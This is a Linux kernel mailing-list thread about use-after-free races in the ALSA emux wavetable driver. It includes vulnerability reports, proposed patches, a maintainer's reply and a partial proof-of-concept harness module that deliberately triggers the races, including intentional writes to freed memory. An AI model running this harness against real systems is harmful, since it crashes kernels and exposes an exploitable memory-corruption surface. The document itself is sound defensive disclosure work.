> later voice recycle, note-off or terminate dereferences freed memory.
> The emu8000 backend already does exactly this
> (snd_emu8000_sample_reset() -> snd_emux_terminate_all()).
>
> --- a/sound/pci/emu10k1/emu10k1_callback.c
> +++ b/sound/pci/emu10k1/emu10k1_callback.c
> @@ -44,6 +44,11 @@ struct best_voice {
> #define LIMITVALUE(x, a, b) do { if ((x) < (a)) (x) = (a); else if ((x) > (b)) (x) = (b); } while (0)
> #define LIMITMAX(x, a) do {if ((x) > (a)) (x) = (a); } while (0)
>
> +static void sample_reset(struct snd_emux *emu)
> +{
> + snd_emux_terminate_all(emu);
> +}
> +
>
> /*
> * set up operators
> @@ -57,6 +62,7 @@ static const struct snd_emux_operators emu10k1_ops = {
> .terminate = terminate_voice,
> .free_voice = free_voice,
> .sample_new = snd_emu10k1_sample_new,
> .sample_free = snd_emu10k1_sample_free,
> + .sample_reset = sample_reset,
> .get_pitch_shift = get_pitch_shift,
> };
>
> --
> 2.47.1
>
>
> [PATCH 2/2] ALSA: emux: wait out in-flight note_on before freeing
> soundfont objects
>
> snd_emux_note_on() keeps raw struct snd_sf_zone pointers on its stack
> from the moment snd_soundfont_search_zone() returns (sflist->lock
> dropped) until the voice configuration finished, but every soundfont
> removal path can kfree() those zones, the referenced samples and the
> util-mem blocks concurrently: the presets_locked flag only gates new
> searches, and the removal mutex (presets_mutex) is disjoint from the
> locks note_on takes. This yields immediate UAF reads in note_on
> (exclusive-class, sample/block chain, register copy), UAF access
> through vp->block in the backend prepare/terminate hooks, and
> snd_emu10k1_memblk_map() operating on a freed block.
>
> Publish the window with an atomic counter and let the freeing paths
> wait for it to drain after taking the preset lock (which already
> blocks new searches). The window never takes presets_mutex, so there
> is no inversion; all users of the wait are process context (hwdep/OSS
> ioctl, driver removal).
>
> --- a/include/sound/soundfont.h
> +++ b/include/sound/soundfont.h
> @@ -81,6 +81,8 @@ struct snd_sf_list {
> int presets_locked;
> struct mutex presets_mutex;
> spinlock_t lock;
> struct snd_util_memhdr *memhdr;
> + atomic_t zone_users; /* in-flight note_on zone windows */
> + wait_queue_head_t zone_users_wait;
> };
>
> /* Prototypes for soundfont.c */
> @@ -114,6 +116,21 @@ int snd_sf_linear_to_log(unsigned int amount, int offset, int ratio);
>
> /* lock access to sflist */
> static inline void snd_soundfont_lock_preset(struct snd_sf_list *sflist)
> {
> mutex_lock(&sflist->presets_mutex);
> guard(spinlock_irqsave)(&sflist->lock);
> sflist->presets_locked = 1;
> }
> +
> +/* note_on: mark the window between the zone search and the last use of
> + * the returned raw pointers; soundfont removal paths wait for it */
> +static inline void snd_soundfont_enter_zone_window(struct snd_sf_list *sflist)
> +{
> + atomic_inc(&sflist->zone_users);
> +}
> +
> +static inline void snd_soundfont_leave_zone_window(struct snd_sf_list *sflist)
> +{
> + if (atomic_dec_and_test(&sflist->zone_users))
> + wake_up(&sflist->zone_users_wait);
> +}
>
> /* remove lock */
> static inline void snd_soundfont_unlock_preset(struct snd_sf_list *sflist)
> --- a/sound/synth/emux/soundfont.c
> +++ b/sound/synth/emux/soundfont.c
> @@ -440,6 +440,8 @@ static int sf_sample_delete(struct snd_sf_list *sflist,
> static int
> remove_info(struct snd_sf_list *sflist, struct snd_soundfont *sf,
> int bank, int instr)
> {
> struct snd_sf_zone *prev, *next, *p;
> int removed = 0;
>
> + /* wait out note_on windows that already hold our zones */
> + snd_soundfont_wait_zone_users(sflist);
> +
> prev = NULL;
> for (p = sf->zones; p; p = next) {
> @@ -250,17 +262,22 @@ static void sf_sample_delete(struct snd_sf_list *sflist,
> /*
> * delete sample list -- this is an exceptional job.
> * only the last allocated sample can be deleted.
> */
> static void
> sf_sample_delete(struct snd_sf_list *sflist,
> struct snd_soundfont *sf, struct snd_sf_sample *sp)
> {
> /* only last sample is accepted */
> + snd_soundfont_wait_zone_users(sflist);
> if (sp == sf->samples) {
> if (sp->v.sf_id != sf->id) {
> @@ (wait helper, placed before snd_sf_free)
>
>
> +static void snd_soundfont_wait_zone_users(struct snd_sf_list *sflist)
> +{
> + wait_event(sflist->zone_users_wait,
> + !atomic_read(&sflist->zone_users));
> +}
> +
> /*
> * Initialise the sflist structure.
> */
> static void
> snd_sf_init(struct snd_sf_list *sflist)
> @@ -1394,6 +1421,9 @@ struct snd_sf_list *
> snd_sf_new(struct snd_sf_callback *callback, struct snd_util_memhdr *hdr)
> {
> struct snd_sf_list *sflist;
>
> sflist = kzalloc_obj(*sflist);
> if (!sflist)
> return NULL;
>
> mutex_init(&sflist->presets_mutex);
> spin_lock_init(&sflist->lock);
> + atomic_set(&sflist->zone_users, 0);
> + init_waitqueue_head(&sflist->zone_users_wait);
> sflist->memhdr = hdr;
>
> if (callback)
> @@ -1412,6 +1442,8 @@ int
> snd_sf_free(struct snd_sf_list *sflist)
> {
> if (sflist == NULL)
> return 0;
>
> scoped_guard(snd_soundfont_lock_preset, sflist) {
> + snd_soundfont_wait_zone_users(sflist);
> if (sflist->callback.sample_reset)
> sflist->callback.sample_reset(sflist->callback.private_data);
> snd_sf_clear(sflist);
> @@ -1432,6 +1466,8 @@ int
> snd_soundfont_remove_samples(struct snd_sf_list *sflist)
> {
> guard(snd_soundfont_lock_preset)(sflist);
> + snd_soundfont_wait_zone_users(sflist);
> if (sflist->callback.sample_reset)
> sflist->callback.sample_reset(sflist->callback.private_data);
> snd_sf_clear(sflist);
> @@ -1446,6 +1482,8 @@ int
> snd_soundfont_remove_unlocked(struct snd_sf_list *sflist)
> {
> struct snd_soundfont *sf;
> struct snd_sf_zone *zp, *nextzp;
> struct snd_sf_sample *sp, *nextsp;
>
> guard(snd_soundfont_lock_preset)(sflist);
> + snd_soundfont_wait_zone_users(sflist);
>
> if (sflist->callback.sample_reset)
> sflist->callback.sample_reset(sflist->callback.private_data);
> --- a/sound/synth/emux/emux_synth.c
> +++ b/sound/synth/emux/emux_synth.c
> @@ -62,6 +62,10 @@ void
> snd_emux_note_on(void *p, int note, int vel, struct snd_midi_channel *chan)
> emu = port->emu;
> if (snd_BUG_ON(!emu || !emu->ops.get_voice || !emu->ops.trigger))
> return;
>
> key = note; /* remember the original note */
> nvoices = get_zone(emu, port, ¬e, vel, chan, table);
> if (! nvoices)
> return;
>
> + /* publish the zone window: soundfont removal paths wait for it
> + * before freeing zones/samples/blocks that table[] points at */
> + snd_soundfont_enter_zone_window(emu->sflist);
>
> /* exclusive note off */
> for (i = 0; i < nvoices; i++) {
> @@ -134,6 +142,8 @@ void
> #ifdef SNDRV_EMUX_USE_RAW_EFFECT
> if (port->port_mode == SNDRV_EMUX_PORT_MODE_OSS_SYNTH) {
> /* clear voice position for the next note on this channel */
> struct snd_emux_effect_table *fx = chan->private;
> if (fx) {
> fx->flag[EMUX_FX_SAMPLE_START] = 0;
> fx->flag[EMUX_FX_COARSE_SAMPLE_START] = 0;
> }
> }
> #endif
> +
> + snd_soundfont_leave_zone_window(emu->sflist);
> }
>
>
> --
> 2.47.1
>
>
> * Suggested direction
>
> The attached two-patch series. Patch 1/2 closes the long-lived
> dangling-voice face (the practically dominant one in our dynamic
> testing); patch 2/2 closes the in-flight table[] window. A full RCU
> conversion of the soundfont object lifetimes would be a larger
> rework and is not required to close the reported corruption.
>
>
> Please keep me in Cc; I am not subscribed to the lists.
>
> Regards,
> Hanxiang Xu
> xuhx@hust.edu.cn
^ permalink raw reply [flat|nested] 101+ messages in thread* Re: [PATCH 0/2] ALSA: emux: fix use-after-free of soundfont zones/samples between snd_emux_note_on() and soundfont removal paths (UAF)
2026-12-01 11:56 ` 徐晗翔
@ 2026-12-01 12:15 ` Takashi Iwai
0 siblings, 0 replies; 101+ messages in thread
From: Takashi Iwai @ 2026-12-01 12:15 UTC (permalink / raw)
To: 徐晗翔; +Cc: perex, tiwai, linux-sound, linux-kernel
On Tue, 01 Dec 2026 12:56:04 +0100,
徐晗翔 wrote:
>
> Update: this use-after-free no longer reproduces on v7.4-rc5 -- snd_emux_note_on() now holds sflist->lock across the whole zone-consumption window, and the same harness that produced 133 slab-use-after-free reports on 7.3 ran 33k+ soundfont removals against the note_on hammer with zero hits, so I consider this fixed in 7.4-rc5 and drop patch 2/2 (patch 1/2, the emu10k1 .sample_reset for the dangling-voice variant, is kept as a separate hardening suggestion).
OK, then could you submit the first patch in a proper format for
upstreaming?
thanks,
Takashi
^ permalink raw reply [flat|nested] 101+ messages in thread
* [PATCH] ALSA: emux: drain open hwdep users before freeing the emux structures(UAF)
[not found] ` <2026102727-data-sequel-ce41@gregkh>
` (14 preceding siblings ...)
2026-12-01 3:22 ` [PATCH 0/2] ALSA: emux: fix use-after-free of soundfont zones/samples between snd_emux_note_on() and soundfont removal paths (UAF) 徐晗翔
@ 2026-12-01 3:23 ` 徐晗翔
2026-12-01 11:57 ` 徐晗翔
2026-12-01 3:25 ` [PATCH] ALSA: emux: expose the hwdep device only after ports are initialized (probe-window NULL deref via MISC_MODE ioctl) 徐晗翔
` (25 subsequent siblings)
41 siblings, 1 reply; 101+ messages in thread
From: 徐晗翔 @ 2026-12-01 3:23 UTC (permalink / raw)
To: perex, tiwai; +Cc: linux-sound, linux-kernel
[-- Attachment #1: Type: text/plain, Size: 9469 bytes --]
Opening /dev/snd/hwC*D* on an emux wavetable (emu10k1/emu8000 synth
sub-driver) pins only the base-card module (try_module_get of
hw->card->module in snd_hwdep_open()); the emux sub-driver module is
not pinned, and removing the sub-driver (rmmod snd_emu10k1_synth, or
sysfs unbind which bypasses module refcounts) runs snd_emux_free(),
which unconditionally kfree()s the struct snd_hwdep, the whole soundfont
list (snd_sf_free()) and the struct snd_emux itself -- while the fd
stays open with file->private_data pointing at the freed hwdep and
in-flight snd_emux_hwdep_ioctl() calls still executing (snd_hwdep_ioctl
holds no open_mutex, and snd_hwdep_dev_disconnect() checks neither
hwdep->used nor replaces f_op the way a whole-card disconnect does).
Verified on mainline 7.3 with a KASAN kernel and the real in-tree
snd-emux-synth module (harness attached): one hundred slab-use-after-free
reports while a hwdep fd hammers VERSION/MEM_AVAIL/MISC_MODE ioctls
across snd_emux_free() -- snd_emux_hwdep_ioctl() at five distinct
dereference points (emu->sflist, emu->memhdr, emu->portptrs including a
UAF write, hw->private_data) plus snd_hwdep_ioctl() reading hw->ops --
and, with rmmod, the module text can additionally be unloaded while
those callbacks are still running (snd_hwdep_f_ops.owner pins the
snd-hwdep module, not the emux one). Needs the synth sub-driver
probed; triggering the in-flight overlap needs only /dev/snd access.
Consequences: multi-object UAF read/write (function pointer tables,
mutex objects) and execution of unloaded module text -- crashes and a
controlled indirect-call surface.
The detailed description:
* Test environment / affected version
Linux version 7.3.0 (gcc 13.3.0, GNU ld 2.42) #6 SMP PREEMPT_DYNAMIC
-- vanilla mainline 7.3 tree, unmodified sources; KASAN enabled,
QEMU/KVM x86_64 guest. sound/core/hwdep.c, sound/synth/emux/* and
sound/core/rawmidi.c are byte-identical between the tested tree and
the report baseline.
* Mechanism
- snd_hwdep_open() (hwdep.c:88) pins hw->card->module only; the emux
hwdep registers no ops.open/ops.release hooks
(emux_hwdep.c:126-131), so nothing increments snd_emux usage for
hwdep fds (contrast: sequencer port subscribe and OSS-sequencer
open both go through snd_emux_inc_count(), which also pins
emu->ops.owner -- the sub-driver module).
- snd_hwdep_ioctl() (hwdep.c:236-254) dispatches hw->ops.ioctl
without holding hw->open_mutex; the emux ioctl touches
hw->private_data, emu->sflist, emu->memhdr and emu->portptrs.
- The sub-driver removal path snd_emux_free() (emux.c:124-143)
performs snd_emux_delete_hwdep() -> snd_device_free() ->
snd_hwdep_dev_disconnect() (which does not consult hwdep->used and
does not revoke f_op for open fds) -> snd_hwdep_free() -> kfree
(hwdep), then snd_sf_free() -> kfree(sflist), kfree(emu->voices),
kfree(emu) -- none of it waits for hwdep->used to drop.
- Whole-card snd_card_free() is NOT affected: snd_card_disconnect()
replaces open fds' f_op with snd_shutdown_f_ops and the teardown
waits for all files to close before the free sequence runs. The
sub-driver independent removal bypasses that protocol entirely --
that bypass is the defect.
The same shape exists for the emux virtual rawmidi devices
(snd_emux_delete_virmidi() -> snd_device_free() of RAWMIDI devices;
snd_rawmidi_open() likewise only pins the card module and
snd_rawmidi_free() kfrees unconditionally), and for the probe error
path of snd_emux_register() (init_hwdep registers the device, then a
later init_seq failure frees everything through snd_emux_free()).
This patch fixes the hwdep fd face; the rawmidi face is mentioned
for completeness and needs the equivalent treatment.
* Trigger model
emu10k1/emu8000 hardware with the synth sub-driver probed
(hwC*D2 fixed for emu10k1). One process holds the exclusive hwdep
fd open and issues ioctls; another (root, or hot-unplug hardware
event) runs `rmmod snd_emu10k1_synth` (works: hwdep fds contribute
no sub-driver module refcount) or writes the driver's unbind file.
Consequence: UAF read/write on struct snd_hwdep (function pointer
table hw->ops, hw->used decrement), struct snd_emux, struct
snd_sf_list (presets_mutex operations on freed memory) and the
portptrs targets, plus execution of already-unloaded module text in
the rmmod case.
* Reproducer and results on 7.3
synthrace.c registers the real in-tree emux on a virtual card
(snd_emux_new/snd_emux_register, backend ops mirroring emu10k1);
synth_test holds /dev/snd/hwC0D0 open and loops the three ioctls;
writing 1 to the module's "free" parameter runs the real
snd_emux_free() (the sub-driver remove body) under the hammer.
Results (7.3, KASAN, 2 vCPU): 100 slab-use-after-free reports:
snd_emux_hwdep_ioctl+0x73/0x15d/0x1bd/0x2be/0x2d6 (emu/sflist/memhdr/
portptrs accesses, including a UAF write) and
snd_hwdep_ioctl+0x11f (hw->ops read). A harness run with the free
disabled stays clean.
* Fix
Give hwdep fds the same user accounting the sequencer and OSS paths
already have, and make the sub-driver removal wait for them:
- register hw->ops.open / hw->ops.release calling
snd_emux_inc_count() / snd_emux_dec_count(). inc_count already
try_module_get()s emu->ops.owner (the sub-driver module), so an
open hwdep fd now blocks rmmod exactly like a sequencer/OSS user;
- count open fds additionally in a new atomic emu->hwdep_users and
make snd_emux_free() wait for it to drain (at the top, before any
sub-structure is torn down, so in-flight ioctls cannot observe
partially freed state either).
sysfs unbind bypasses module refcounts, which is why the drain wait
is needed in addition to the refcount. This matches the semantics
the whole-card path already provides (snd_card_disconnect() waits
for open files before anything is freed).
The patch is a suggested direction, written against 7.3 and reviewed
by inspection; it has not been runtime-validated (the reported
reproduction used the unpatched kernel). Happy to test any
counter-proposal.
* Patch
[PATCH] ALSA: emux: drain open hwdep users before freeing emux
structures
snd_emux_free() (the sub-driver remove path, reachable via
rmmod snd_emu10k1_synth or sysfs unbind) kfrees the struct snd_hwdep,
the soundfont list and the struct snd_emux without waiting for open
hwdep file descriptors: hwdep fds pin only the base-card module, the
emux hwdep registers no open/release hooks, and an in-flight
snd_emux_hwdep_ioctl() (which does not hold open_mutex) plus every
later operation on the stale fd hits freed memory. KASAN on 7.3 shows
100 UAF reports in snd_emux_hwdep_ioctl/snd_hwdep_ioctl for this
interleave.
Register hwdep open/release hooks that take snd_emux_inc_count()
(also pinning emu->ops.owner against rmmod, like the sequencer and
OSS-sequencer paths already do), count them in a new emu->hwdep_users,
and make snd_emux_free() wait for that count to drain before tearing
anything down -- mirroring the drain that snd_card_disconnect()
performs for whole-card removal. Note that sysfs unbind is not
covered by module refcounts, which is why the drain wait is required
in addition to the refcount.
--- a/include/sound/emux_synth.h
+++ b/include/sound/emux_synth.h
@@ -99,6 +99,8 @@ struct snd_emux {
int use_time; /* allocation counter */
spinlock_t voice_lock; /* Lock for voice access */
struct mutex register_mutex;
+ atomic_t hwdep_users; /* open hwdep fds */
+ wait_queue_head_t free_wait; /* sub-driver removal waits for hwdep_users */
int client; /* For the sequencer client */
int ports[SNDRV_EMUX_MAX_PORTS]; /* The ports for this device */
--- a/sound/synth/emux/emux.c
+++ b/sound/synth/emux/emux.c
@@ -32,6 +32,8 @@ int snd_emux_new(struct snd_emux **remu)
spin_lock_init(&emu->voice_lock);
mutex_init(&emu->register_mutex);
+ atomic_set(&emu->hwdep_users, 0);
+ init_waitqueue_head(&emu->free_wait);
emu->client = -1;
@@ -126,6 +130,19 @@ int snd_emux_free(struct snd_emux *emu)
if (! emu)
return -EINVAL;
timer_shutdown_sync(&emu->tlist);
+
+ wait_event(emu->free_wait, !atomic_read(&emu->hwdep_users));
snd_emux_proc_free(emu);
snd_emux_delete_virmidi(emu);
--- a/sound/synth/emux/emux_hwdep.c
+++ b/sound/synth/emux/emux_hwdep.c
@@ (before snd_emux_hwdep_ioctl)
+static int
+snd_emux_hwdep_open(struct snd_hwdep *hw, struct file *file)
+{
+ struct snd_emux *emu = hw->private_data;
+
+ if (!snd_emux_inc_count(emu))
+ return -EFAULT;
+ atomic_inc(&emu->hwdep_users);
+ return 0;
+}
+
+static int
+snd_emux_hwdep_release(struct snd_hwdep *hw, struct file *file)
+{
+ struct snd_emux *emu = hw->private_data;
+
+ atomic_dec(&emu->hwdep_users);
+ wake_up(&emu->free_wait);
+ snd_emux_dec_count(emu);
+ return 0;
+}
+
+
/*
* ioctl
*/
static int
snd_emux_hwdep_ioctl(struct snd_hwdep * hw, struct file *file,
@@ -120,6 +166,9 @@ int
hw->iface = SNDRV_HWDEP_IFACE_EMUX_WAVETABLE;
hw->ops.ioctl = snd_emux_hwdep_ioctl;
/* The ioctl parameter types are compatible between 32- and
* 64-bit architectures, so use the same function. */
hw->ops.ioctl_compat = snd_emux_hwdep_ioctl;
+ hw->ops.open = snd_emux_hwdep_open;
+ hw->ops.release = snd_emux_hwdep_release;
hw->exclusive = 1;
hw->private_data = emu;
--
2.47.1
Please keep me in Cc; I am not subscribed to the lists.
Regards,
Hanxiang Xu
xuhx@hust.edu.cn
[-- Attachment #2: synthrace.c --]
[-- Type: text/plain, Size: 14562 bytes --]
// SPDX-License-Identifier: GPL-2.0
/*
* synthrace.c - dynamic verification harness for the emux wavetable audit
* cases SYNTH-MR-01 / SYNTH-MR-03 / SYNTH-MR-04
* (docs/manual-review-sound-synth-2026-11-26.md).
*
* It drives the REAL in-tree emux code (snd-emux-synth.ko: emux.c,
* emux_synth.c, soundfont.c, emux_hwdep.c, emux_proc.c, emux_seq.c) through
* its exported API with a fake backend ("hw"), replicating exactly the
* snd_emu10k1_synth_probe()/snd_emu10k1_synth_remove() usage shape:
*
* snd_emux_new() -> ops_setup -> fields -> snd_emux_register()
* snd_emux_free() (sub-driver remove body)
*
* No kernel source is modified; the audited code paths are the byte-identical
* in-tree modules (diff vs race/linux verified zero).
*
* Plans (module params, write "1" to trigger):
* mr01nat - SYNTH-MR-01 natural hammering: kernel kthread loops
* snd_emux_note_on() on the real emux port while another kernel
* kthread loops the REAL snd_soundfont_remove_unlocked() /
* snd_soundfont_remove_samples() (the hwdep ioctl bodies).
* The soundfont itself is loaded from userspace through the real
* hwdep SNDRV_EMUX_IOCTL_LOAD_PATCH path (synth_test load-loop).
* mr01ctl - SYNTH-MR-01 controlled window: kprobe post_handler on
* snd_soundfont_search_zone stalls the note_on thread right at
* the start of its unprotected table[] window; one
* snd_soundfont_remove_unlocked() runs and frees zone/sample/
* block underneath; release -> cascaded UAF.
* free - SYNTH-MR-03/MR-04 trigger: snd_emux_free() with an open,
* hammering hwdep fd (mr03) or proc reader (mr04) on the other
* side. This is the exact snd_emu10k1_synth_remove() body.
*/
#define pr_fmt(fmt) "SYNTHRACE: " fmt
#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/kprobes.h>
#include <linux/kthread.h>
#include <linux/delay.h>
#include <linux/completion.h>
#include <linux/device.h>
#include <sound/core.h>
#include <sound/emux_synth.h>
#include <sound/util_mem.h>
#include <sound/asoundef.h>
static struct device *parent;
static struct snd_card *card;
static struct snd_emux *emu;
/* ---- fake backend ops (same contract as emu10k1_callback.c) ---- */
static atomic_t mr01_armed = ATOMIC_INIT(0);
static atomic_t mr01_stalled = ATOMIC_INIT(0);
static struct snd_emux_voice *sr_get_voice(struct snd_emux *e,
struct snd_emux_port *port)
{
int i;
/*
* mr01ctl controlled window: parked mid note_on, AFTER table[] was
* filled by snd_soundfont_search_zone() and INSIDE the voice_lock
* configuration section, i.e. exactly inside the audited
* "search returned -> last table[]/vp->zone/vp->block use" span
* (emux_synth.c:63-114). Removing zone/sample/block underneath and
* then resuming replays the SYNTH-MR-01 interleaving end-to-end.
*/
if (atomic_read(&mr01_armed) && !atomic_xchg(&mr01_stalled, 1)) {
unsigned long deadline = jiffies + msecs_to_jiffies(20000);
pr_info("mr01ctl: note_on parked mid-configuration "
"(table[] window open)\n");
while (atomic_read(&mr01_armed) &&
time_before(jiffies, deadline))
cpu_relax();
pr_info("mr01ctl: note_on resuming\n");
}
for (i = 0; i < e->max_voices; i++) {
struct snd_emux_voice *vp = &e->voices[i];
if (vp->ch < 0) {
vp->ch = i;
e->num_voices++;
return vp;
}
}
/* recycle voice 0 so the hammering never starves */
if (e->max_voices > 0) {
e->voices[0].ch = 0;
return &e->voices[0];
}
return NULL;
}
/*
* MR-01 UAF write point analog: emu10k1 start_voice() does
* emem->map_locked++ on the block handed down through vp->block; we touch
* the block the same way (read+write through the freed snd_util_memblk).
*/
static int mr01_note = 60;
static int mr01_vel = 100;
static atomic_t sr_start_calls = ATOMIC_INIT(0);
static int sr_start_voice(struct snd_emux_voice *vp)
{
struct snd_util_memblk *b = vp->block;
atomic_inc(&sr_start_calls);
if (b)
b->offset++; /* UAF write on freed memblk */
return 0;
}
static void sr_trigger(struct snd_emux_voice *vp) {}
static void sr_release(struct snd_emux_voice *vp) {}
static void sr_update(struct snd_emux_voice *vp, int update) {}
/* emu10k1 terminate_voice() reads vp->block (emem->map_locked--): analog */
static void sr_terminate(struct snd_emux_voice *vp)
{
struct snd_util_memblk *b = vp->block;
if (b) {
unsigned int t = b->size; /* UAF read on freed memblk */
(void)t;
}
}
static int sr_sample_new(struct snd_emux *e, struct snd_sf_sample *sp,
struct snd_util_memhdr *hdr,
const void __user *data, long count)
{
sp->block = snd_util_mem_alloc(hdr, count > 0 ? count : 256);
if (!sp->block)
return -ENOMEM;
return 0;
}
static int sr_sample_free(struct snd_emux *e, struct snd_sf_sample *sp,
struct snd_util_memhdr *hdr)
{
if (sp->block) {
snd_util_mem_free(hdr, sp->block);
sp->block = NULL;
}
return 0;
}
static void sr_sample_reset(struct snd_emux *e)
{
snd_emux_terminate_all(e); /* same as snd_emu8000_sample_reset() */
}
/*
* SYNTH-MR-01's practically exploitable variant is the EMU10K1 backend
* (emu10k1_ops has NO .sample_reset, emu10k1_callback.c:51-63): removals
* then never terminate playing voices, so snd_emux_voice::block/::zone stay
* dangling after snd_emu10k1_synth_free()/kfree(sp) and every later
* terminate (e.g. voice recycle in note_on) dereferences the freed block.
* Default to that audited shape; sample_reset_en=1 switches to the EMU8000
* shape (snd_emu8000_patch.c registers snd_emu8000_sample_reset).
*/
static int sample_reset_en;
module_param(sample_reset_en, int, 0400);
static const struct snd_emux_operators sr_ops = {
.owner = THIS_MODULE,
.get_voice = sr_get_voice,
.prepare = sr_start_voice,
.trigger = sr_trigger,
.release = sr_release,
.update = sr_update,
.terminate = sr_terminate,
.sample_new = sr_sample_new,
.sample_free = sr_sample_free,
};
/* ---- shared setup/teardown ---- */
/*
* snd_emux_note_on() and the snd_soundfont_remove_*() bodies are real,
* non-exported global symbols of snd-emux-synth.ko. Resolve them at runtime
* via kprobe registration (kprobe-addr method, same technique as
* kmod/nmi/nmi_race.c) and call them through their exact prototypes.
*/
typedef void (*sr_note_on_t)(void *port, int note, int vel,
struct snd_midi_channel *chan);
typedef int (*sr_sf_op_t)(struct snd_sf_list *sflist);
static sr_note_on_t sr_note_on;
static sr_sf_op_t sr_remove_unlocked;
static sr_sf_op_t sr_remove_samples;
static void *sr_kallsym(const char *name)
{
struct kprobe kp;
void *addr;
memset(&kp, 0, sizeof(kp));
kp.symbol_name = name;
if (register_kprobe(&kp) < 0) {
pr_err("kallsym(%s) failed\n", name);
return NULL;
}
addr = kp.addr;
unregister_kprobe(&kp);
return addr;
}
static int sr_resolve_syms(void)
{
sr_note_on = (sr_note_on_t)sr_kallsym("snd_emux_note_on");
sr_remove_unlocked =
(sr_sf_op_t)sr_kallsym("snd_soundfont_remove_unlocked");
sr_remove_samples =
(sr_sf_op_t)sr_kallsym("snd_soundfont_remove_samples");
return sr_note_on && sr_remove_unlocked && sr_remove_samples ?
0 : -ENOENT;
}
static int sr_emux_setup(void)
{
int err;
err = snd_emux_new(&emu);
if (err < 0)
return err;
emu->ops = sr_ops;
if (sample_reset_en)
emu->ops.sample_reset = sr_sample_reset;
emu->hw = card; /* non-NULL "hardware"; never dereferenced */
emu->max_voices = 8;
emu->num_ports = 1;
emu->midi_ports = 0; /* skip virmidi: not needed for these cases */
emu->hwdep_idx = 0; /* /dev/snd/hwC0D0 */
emu->linear_panning = 0;
emu->memhdr = snd_util_memhdr_new(0x100000);
if (!emu->memhdr) {
snd_emux_free(emu);
emu = NULL;
return -ENOMEM;
}
err = snd_emux_register(emu, card, 0, "synthrace");
if (err < 0) {
pr_err("snd_emux_register failed: %d\n", err);
snd_util_memhdr_free(emu->memhdr);
snd_emux_free(emu);
emu = NULL;
return err;
}
/*
* The real emu10k1 flow nests snd_emux_register() inside the outer
* snd_card_register() (seq-device probe), which then registers the
* emux proc entry created above. Replicate that final registration.
*/
snd_card_register(card);
pr_info("emux registered: hwdep=hwC0D0 sflist=%p proc ready\n",
emu->sflist);
return 0;
}
static void sr_card_new(void)
{
int err;
parent = root_device_register("synthrace");
if (IS_ERR(parent)) {
parent = NULL;
return;
}
err = snd_card_new(parent, 0, "synthrace", THIS_MODULE, 0, &card);
if (err < 0) {
pr_err("snd_card_new failed: %d\n", err);
root_device_unregister(parent);
parent = NULL;
card = NULL;
}
}
/* ---- MR-01 natural hammering ---- */
static unsigned int nat_secs = 25;
module_param(nat_secs, uint, 0400);
static struct task_struct *noteon_thr;
static struct task_struct *remove_thr;
static int noteon_fn(void *arg)
{
struct snd_emux_port *port;
struct snd_midi_channel *chan;
unsigned long until = jiffies + nat_secs * HZ;
port = emu->portptrs[0];
if (!port) {
pr_err("mr01nat: no port\n");
return 0;
}
chan = &port->chset.channels[0];
pr_info("mr01nat: note_on hammer starts\n");
while (!kthread_should_stop() && time_before(jiffies, until)) {
sr_note_on(port, 60, 100, chan);
cond_resched();
}
pr_info("mr01nat: note_on hammer done\n");
return 0;
}
static int remove_fn(void *arg)
{
unsigned long until = jiffies + nat_secs * HZ;
int n = 0;
pr_info("mr01nat: remove hammer starts\n");
while (!kthread_should_stop() && time_before(jiffies, until)) {
/* these are the exact bodies of the hwdep ioctls
* SNDRV_EMUX_IOCTL_REMOVE_LAST_SAMPLES / RESET_SAMPLES
*
* Throttled to ~2.5k/s: at unthrottled rates the removal
* outpaces the userspace loader and the soundfont spends its
* life empty, starving note_on of zones (see first mr01nat
* run: 5.5M removes, 0 collisions). The audit race needs the
* font alive while note_on is inside its table[] window.
*/
/* REMOVE_LAST_SAMPLES body only: unlike remove_samples()
* (snd_sf_clear -> snd_sf_init) it keeps currsf/open_client
* intact so the userspace loader can keep re-arming the font,
* while still freeing the very zone/sample/block trio of the
* audited SYNTH-MR-01 chain */
sr_remove_unlocked(emu->sflist);
n++;
usleep_range(200, 500);
}
pr_info("mr01nat: remove hammer done (%d cycles)\n", n);
return 0;
}
static int mr01nat_set(const char *val, const struct kernel_param *kp)
{
if (!emu || !emu->portptrs[0])
return -ENODEV;
noteon_thr = kthread_run(noteon_fn, NULL, "synthrace_noteon");
remove_thr = kthread_run(remove_fn, NULL, "synthrace_remove");
return 0;
}
static const struct kernel_param_ops mr01nat_ops = { .set = mr01nat_set };
module_param_cb(mr01nat, &mr01nat_ops, NULL, 0200);
/* ---- MR-01 controlled window (park inside sr_get_voice, see above) ---- */
static struct completion mr01_done;
static int mr01_noteon_once(void *arg)
{
struct snd_emux_port *port;
struct snd_midi_channel *chan;
port = emu->portptrs[0];
chan = &port->chset.channels[0];
atomic_set(&sr_start_calls, 0);
sr_note_on(port, mr01_note, mr01_vel, chan);
pr_info("mr01ctl: note_on returned, start_voice calls=%d\n",
atomic_read(&sr_start_calls));
complete(&mr01_done);
return 0;
}
static int mr01ctl_set(const char *val, const struct kernel_param *kp)
{
struct task_struct *t;
int rc;
if (!emu || !emu->portptrs[0])
return -ENODEV;
if (!sr_note_on || !sr_remove_unlocked || !sr_remove_samples)
return -ENOENT;
init_completion(&mr01_done);
atomic_set(&mr01_stalled, 0);
atomic_set(&mr01_armed, 1);
t = kthread_run(mr01_noteon_once, NULL, "synthrace_ctl");
if (IS_ERR(t)) {
atomic_set(&mr01_armed, 0);
return PTR_ERR(t);
}
/* wait until the note_on thread is actually parked mid-window */
{
unsigned long deadline = jiffies + msecs_to_jiffies(8000);
while (!atomic_read(&mr01_stalled) &&
time_before(jiffies, deadline))
msleep(1);
}
if (!atomic_read(&mr01_stalled)) {
atomic_set(&mr01_armed, 0);
wait_for_completion_timeout(&mr01_done,
msecs_to_jiffies(2000));
pr_err("mr01ctl: note_on never parked; aborted\n");
return -EIO;
}
/* free zone/sample/block underneath the parked note_on */
pr_info("mr01ctl: running snd_soundfont_remove_unlocked()\n");
rc = sr_remove_unlocked(emu->sflist);
pr_info("mr01ctl: remove_unlocked returned %d\n", rc);
msleep(50);
atomic_set(&mr01_armed, 0); /* release: cascaded UAF now */
wait_for_completion_timeout(&mr01_done, msecs_to_jiffies(10000));
pr_info("mr01ctl: done\n");
return 0;
}
static const struct kernel_param_ops mr01ctl_ops = { .set = mr01ctl_set };
module_param_cb(mr01ctl, &mr01ctl_ops, NULL, 0200);
static int probe_set(const char *val, const struct kernel_param *kp)
{
struct snd_emux_port *port;
struct snd_midi_channel *chan;
if (!emu || !emu->portptrs[0])
return -ENODEV;
port = emu->portptrs[0];
chan = &port->chset.channels[0];
atomic_set(&sr_start_calls, 0);
